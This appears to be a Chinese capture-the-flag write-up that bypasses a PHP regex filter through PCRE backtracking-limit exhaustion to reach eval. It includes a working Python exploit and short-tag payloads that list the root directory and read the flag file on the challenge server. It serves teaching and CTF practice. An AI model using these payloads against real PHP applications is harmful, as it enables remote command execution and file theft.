题目链接
0x1 分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php include "check.php"; if (isset($_REQUEST['letter'])){ $txw4ever = $_REQUEST['letter']; if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){ die("再加把油喔"); } else{ $command = json_decode($txw4ever,true)['cmd']; checkdata($command); @eval($command); } } else{ highlight_file(__FILE__); } ?>
|
严格正则过滤,尝试PCRE回溯绕过
具体见 PHP利用PCRE回溯次数限制绕过某些安全限制
0x2 exp
1 2 3 4 5 6
| import requests
js = '{"cmd":"system(\'ls\');", "t":"' + '@' * 1000000 + '"}' data = { 'letter': js } res = requests.post(url='http://node4.anna.nssctf.cn:28296/', data=data) print(res.text)
|
但是得到差一点点捏
尝试多次发现system, exec, assert等都被过滤 尝试使用短标签
?>闭合了eval自带的<?标签 接下来使用了短标签 <?=
相当于<?echo
1 2
| js = '{"cmd":"?><?=`ls /`;?>", "t":"' + '@' * 1000000 + '"}' js = '{"cmd":"?><?=`nl /f*`;?>", "t":"' + '@' * 1000000 + '"}'
|